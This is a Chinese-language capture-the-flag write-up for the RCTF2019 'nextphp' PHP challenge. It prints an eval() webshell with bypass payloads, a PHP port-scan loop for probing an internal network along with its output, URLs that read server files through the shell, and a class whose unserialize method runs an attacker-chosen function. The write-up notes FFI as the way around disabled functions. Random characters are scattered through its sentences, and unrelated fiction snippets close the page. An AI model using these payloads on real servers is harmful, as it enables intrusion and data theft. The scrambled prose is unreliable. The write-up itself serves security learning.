BUUCTF/RCTF2019 nextphp

這題主要考察PHP-7.4中的兩個特性( FFI 溃卡、 Serializable 的 __serialize 和 __unserialize )牲蜀,通過 FFI 繞過 disable_functions 限制看蚜。

首先拿到題目:

<?php
if (isset($_GET['a'])) {
    eval($_GET['a']);
} else {
    show_source(__FILE__);
}

存在命令執(zhí)行检诗,測試無果酝枢,全部報錯恬偷,這里網(wǎng)上有兩個繞過方法:

可以在中間加上空格phpinfo ()繞過
?a=phpinfo+();
?a=echo phpinfo();

以通過 phpinfo 發(fā)現(xiàn)存在如下關(guān)鍵信息:
PHP Version 7.4.0-dev
內(nèi)網(wǎng)IP:172.20.0.1
開啟了FFI
opcache.preload:/var/www/html/preload.php
open_basedir:/var/www/html
disable_classes:ReflectionClass
disable_functions:set_time_limit,ini_set,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,mail,putenv,error_log,dl

剛開始,想通過這個shell進行SSRF掃描內(nèi)網(wǎng)帘睦,看看內(nèi)網(wǎng)是否還有其他主機運行web袍患,因為有可能內(nèi)網(wǎng)中其他機器上的disable_functions限制沒有這么嚴(yán)格坦康。

 // 端口掃描:
$hosts='127.0.0.1';
$timeout=0.5;
for($i=0;$i<65535;$i++){
    $c=@fsockopen($hosts,$i, $en,$es, $timeout);
    if(is_resource($c)){
        echo $hosts.':'.$i.' => open\n<br>';
        fclose($c);
    }
    ob_flush();
    flush();
}
# 題目內(nèi)網(wǎng)IP:172.20.0.1
172.20.0.2:80 => open\n<br>
172.20.0.2:46036 => open\n<br>
172.20.0.2:53310 => open\n<br>
172.20.0.2:65616 => open\n<br>

發(fā)現(xiàn) 172.20.0.2 上有和題目一模一樣的 web 環(huán)境,但是對比了他們兩個的 phpinfo 信息诡延,發(fā)現(xiàn)是一樣的滞欠,其他端口沒什么發(fā)現(xiàn),放棄這個思路。

發(fā)現(xiàn)沒有過濾scandir()

http://web18.buuoj.cn/?a=var_dump(scandir('/var/www/html'));
http://web18.buuoj.cn/?a=var_dump(scandir(getcwd()));
圖片.png

爆出根目錄文件
利用file_get_contents()/show_source查看preload.php源碼

http://web18.buuoj.cn/?a=echo file_get_contents('preload.php');
http://web18.buuoj.cn/?a=show_source("preload.php");
<?php
final class A implements Serializable {
    protected $data = [
        'ret' => null,
        'func' => 'print_r',
        'arg' => '1'
    ];

    private function run () {
        $this->data['ret'] = $this->data['func']($this->data['arg']);
    }

    public function __serialize(): array {
        return $this->data;
    }

    public function __unserialize(array $data) {
        array_merge($this->data, $data);
        $this->run();
    }

    public function serialize (): string {
        return serialize($this->data);
    }

    public function unserialize($payload) {
        $this->data = unserialize($payload);
        $this->run();
    }

    public function __get ($key) {
        return $this->data[$key];
    }

    public function __set ($key, $value) {
        throw new \Exception('No implemented');
    }

    public function __construct () {
        throw new \Exception('No implemented');
    }
}

參考文章:
http://118.25.174.93/index.php/archives/694/#nextphp
https://blog.csdn.net/qq_41809896/article/details/90384668
https://aluvion.github.io/2019/05/25/RCTF2019-Web-nextphp%E5%BC%95%E5%8F%91%E7%9A%84%E6%80%9D%E8%80%83%E5%92%8C%E5%AD%A6%E4%B9%A0/
https://mochazz.github.io/2019/05/21/RCTF2019Web%E9%A2%98%E8%A7%A3%E4%B9%8Bnextphp/

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末肆良,一起剝皮案震驚了整個濱河市仑撞,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌妖滔,老刑警劉巖,帶你破解...
    沈念sama閱讀 206,126評論 6 481
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件桶良,死亡現(xiàn)場離奇詭異座舍,居然都是意外死亡,警方通過查閱死者的電腦和手機陨帆,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 88,254評論 2 382
  • 文/潘曉璐 我一進店門曲秉,熙熙樓的掌柜王于貴愁眉苦臉地迎上來,“玉大人疲牵,你說我怎么就攤上這事承二。” “怎么了?”我有些...
    開封第一講書人閱讀 152,445評論 0 341
  • 文/不壞的土叔 我叫張陵,是天一觀的道長县忌。 經(jīng)常有香客問我骨宠,道長,這世上最難降的妖魔是什么牡借? 我笑而不...
    開封第一講書人閱讀 55,185評論 1 278
  • 正文 為了忘掉前任,我火速辦了婚禮,結(jié)果婚禮上家妆,老公的妹妹穿的比我還像新娘。我一直安慰自己冕茅,他們只是感情好伤极,可當(dāng)我...
    茶點故事閱讀 64,178評論 5 371
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著姨伤,像睡著了一般哨坪。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發(fā)上姜挺,一...
    開封第一講書人閱讀 48,970評論 1 284
  • 那天齿税,我揣著相機與錄音,去河邊找鬼炊豪。 笑死凌箕,一個胖子當(dāng)著我的面吹牛拧篮,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播牵舱,決...
    沈念sama閱讀 38,276評論 3 399
  • 文/蒼蘭香墨 我猛地睜開眼串绩,長吁一口氣:“原來是場噩夢啊……” “哼!你這毒婦竟也來了芜壁?” 一聲冷哼從身側(cè)響起礁凡,我...
    開封第一講書人閱讀 36,927評論 0 259
  • 序言:老撾萬榮一對情侶失蹤,失蹤者是張志新(化名)和其女友劉穎慧妄,沒想到半個月后顷牌,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體,經(jīng)...
    沈念sama閱讀 43,400評論 1 300
  • 正文 獨居荒郊野嶺守林人離奇死亡塞淹,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點故事閱讀 35,883評論 2 323
  • 正文 我和宋清朗相戀三年窟蓝,在試婚紗的時候發(fā)現(xiàn)自己被綠了。 大學(xué)時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片饱普。...
    茶點故事閱讀 37,997評論 1 333
  • 序言:一個原本活蹦亂跳的男人離奇死亡运挫,死狀恐怖,靈堂內(nèi)的尸體忽然破棺而出套耕,到底是詐尸還是另有隱情谁帕,我是刑警寧澤,帶...
    沈念sama閱讀 33,646評論 4 322
  • 正文 年R本政府宣布冯袍,位于F島的核電站匈挖,受9級特大地震影響,放射性物質(zhì)發(fā)生泄漏康愤。R本人自食惡果不足惜关划,卻給世界環(huán)境...
    茶點故事閱讀 39,213評論 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望翘瓮。 院中可真熱鬧贮折,春花似錦、人聲如沸资盅。這莊子的主人今日做“春日...
    開封第一講書人閱讀 30,204評論 0 19
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽呵扛。三九已至每庆,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間今穿,已是汗流浹背缤灵。 一陣腳步聲響...
    開封第一講書人閱讀 31,423評論 1 260
  • 我被黑心中介騙來泰國打工, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留,地道東北人腮出。 一個月前我還...
    沈念sama閱讀 45,423評論 2 352
  • 正文 我出身青樓帖鸦,卻偏偏與公主長得像,于是被迫代替她去往敵國和親胚嘲。 傳聞我的和親對象是個殘疾皇子作儿,可洞房花燭夜當(dāng)晚...
    茶點故事閱讀 42,722評論 2 345

推薦閱讀更多精彩內(nèi)容